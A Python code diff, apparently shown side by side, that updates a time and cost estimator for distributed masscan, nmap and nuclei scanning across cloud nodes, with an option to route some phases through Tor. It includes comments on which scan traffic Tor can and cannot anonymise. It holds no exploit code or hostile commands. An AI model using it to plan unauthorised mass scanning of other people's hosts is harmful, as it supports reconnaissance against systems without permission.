# Default fraction of scanned IPs with open ports on common ports.
# Real-world range: 0.5%5% depending on ports & geography.
MASSCAN_HIT_RATE = 0.01
# Defaults — must match WEBRUNNER tuning defaults
_NMAP_WORKERS = 10
_NUCLEI_RATE = 150
_NUCLEI_CONCURRENCY = 25
# Tor latency multiplier — applies ONLY to TCP probe phases (nmap/nuclei/probe).
# Masscan uses raw sockets and bypasses proxychains entirely — Tor cannot
# protect masscan SYN packets. The cloud node's IP is exposed to every
# masscan target regardless of this setting.
TOR_PHASE_MULTIPLIER = 5.0
# Per-node provisioning overhead (apt install, optional nuclei download).
# Nodes provision in parallel so this is roughly constant.
PROVISION_OVERHEAD_HOURS = 5 / 60
def estimate_scan_hours(ip_count: int, n_ports: int, rate: int, scan_mode: str = 'masscan-only') -> float: def estimate_scan_hours(
ip_count: int,
n_ports: int,
rate: int,
scan_mode: str = 'masscan-only',
*,
nmap_timing: int = 4,
nmap_workers: int = _NMAP_WORKERS,
nuclei_rate: int = _NUCLEI_RATE,
nuclei_concurrency: int = _NUCLEI_CONCURRENCY,
hit_rate: float = MASSCAN_HIT_RATE,
use_tor: bool = False,
) -> float:
"""Phase-decomposed scan time estimate. Returns hours per node."""
if rate <= 0: if rate <= 0:
return 0.0 return PROVISION_OVERHEAD_HOURS
masscan_hours = (ip_count * n_ports / rate) / 3600
nmap_workers = max(nmap_workers, 1)
seconds = 0.0
# masscan phase: raw sockets, no Tor penalty (Tor cannot proxy raw sockets)
if scan_mode in ('masscan-only', 'masscan+nmap', 'geo-scout', 'masscan+nuclei'):
seconds += ip_count * n_ports / rate
# nmap-only phase: every IP gets full -sV fingerprint
if scan_mode == 'nmap-only':
per_host = NMAP_TIME_BY_TIMING.get(nmap_timing, 10.0)
if use_tor:
per_host *= TOR_PHASE_MULTIPLIER
seconds += (ip_count * per_host) / nmap_workers
# nmap fingerprint phase: only on masscan hits
if scan_mode in ('masscan+nmap', 'geo-scout'): if scan_mode in ('masscan+nmap', 'geo-scout'):
nmap_hosts = ip_count * MASSCAN_HIT_RATE nmap_hosts = ip_count * hit_rate
nmap_hours = (nmap_hosts * NMAP_TIME_PER_HOST_SEC) / (_NMAP_WORKERS * 3600) per_host = NMAP_TIME_BY_TIMING.get(nmap_timing, 10.0)
return masscan_hours + nmap_hours if use_tor:
return masscan_hours per_host *= TOR_PHASE_MULTIPLIER
seconds += (nmap_hosts * per_host) / nmap_workers
# probe banner phase: geo-scout only, on masscan hits
if scan_mode == 'geo-scout':
probe_hosts = ip_count * hit_rate
per_probe = PROBE_TIME_PER_HOST_SEC
if use_tor:
per_probe *= TOR_PHASE_MULTIPLIER
seconds += (probe_hosts * per_probe) / nmap_workers
# nuclei phase: only on masscan-discovered ip:port pairs
if scan_mode == 'masscan+nuclei':
nuclei_targets = ip_count * hit_rate
per_target = NUCLEI_TIME_PER_TARGET_SEC
if use_tor:
per_target *= TOR_PHASE_MULTIPLIER
rate_throughput = float(nuclei_rate)
parallel_throughput = nuclei_concurrency / per_target
effective_rps = max(min(rate_throughput, parallel_throughput), 1.0)
seconds += nuclei_targets / effective_rps
return seconds / 3600 + PROVISION_OVERHEAD_HOURS
def node_cost(provider: str, instance_type: str, scan_hours: float) -> float: def node_cost(provider: str, instance_type: str, scan_hours: float) -> float:
@@ -84,30 +165,35 @@ def fmt_ip_count(n: int) -> str:
return str(n) return str(n)
# Tor adds ~5x latency overhead for TCP probes; masscan bypasses proxychains (raw sockets)
# so only nmap/probe phases are affected — modes that include masscan see partial impact
TOR_RATE_MULTIPLIER = 0.2
def build_estimate_table( def build_estimate_table(
total_ips: int, total_ips: int,
n_ports: int, n_ports: int,
providers: list[str], providers: list[str],
scan_mode: str, scan_mode: str,
use_tor: bool = False, use_tor: bool = False,
tuning: dict | None = None,
) -> list[dict]: ) -> list[dict]:
mode_rate = SCAN_MODES.get(scan_mode, {'rate': 3000})['rate'] tuning = tuning or {}
if use_tor and scan_mode != 'masscan-only': masscan_rate = int(tuning.get('masscan_rate') or SCAN_MODES.get(scan_mode, {'rate': 3000})['rate'])
mode_rate = int(mode_rate * TOR_RATE_MULTIPLIER)
kwargs = dict(
nmap_timing=int(tuning.get('nmap_timing', 4)),
nmap_workers=int(tuning.get('nmap_workers', _NMAP_WORKERS)),
nuclei_rate=int(tuning.get('nuclei_rate', _NUCLEI_RATE)),
nuclei_concurrency=int(tuning.get('nuclei_concurrency', _NUCLEI_CONCURRENCY)),
hit_rate=float(tuning.get('hit_rate', MASSCAN_HIT_RATE)),
use_tor=use_tor,
)
rows = [] rows = []
for preset_key, preset in PRESETS.items(): for preset_key, preset in PRESETS.items():
n_chunks = max(1, math.ceil(total_ips / preset['chunk_size'])) n_chunks = max(1, math.ceil(total_ips / preset['chunk_size']))
typical_ips = min(preset['chunk_size'], total_ips) typical_ips = min(preset['chunk_size'], total_ips)
hours_per_node = estimate_scan_hours(typical_ips, n_ports, mode_rate, scan_mode) hours_per_node = estimate_scan_hours(typical_ips, n_ports, masscan_rate, scan_mode, **kwargs)
total_cost = 0.0 total_cost = 0.0
for i in range(n_chunks): for i in range(n_chunks):
chunk_ips = min(preset['chunk_size'], total_ips - i * preset['chunk_size']) chunk_ips = min(preset['chunk_size'], total_ips - i * preset['chunk_size'])
chunk_hours = estimate_scan_hours(chunk_ips, n_ports, mode_rate, scan_mode) chunk_hours = estimate_scan_hours(chunk_ips, n_ports, masscan_rate, scan_mode, **kwargs)
provider = providers[i % len(providers)] provider = providers[i % len(providers)]
instance = DEFAULT_INSTANCE.get(provider, 'g6-standard-2') instance = DEFAULT_INSTANCE.get(provider, 'g6-standard-2')
total_cost += node_cost(provider, instance, chunk_hours) total_cost += node_cost(provider, instance, chunk_hours)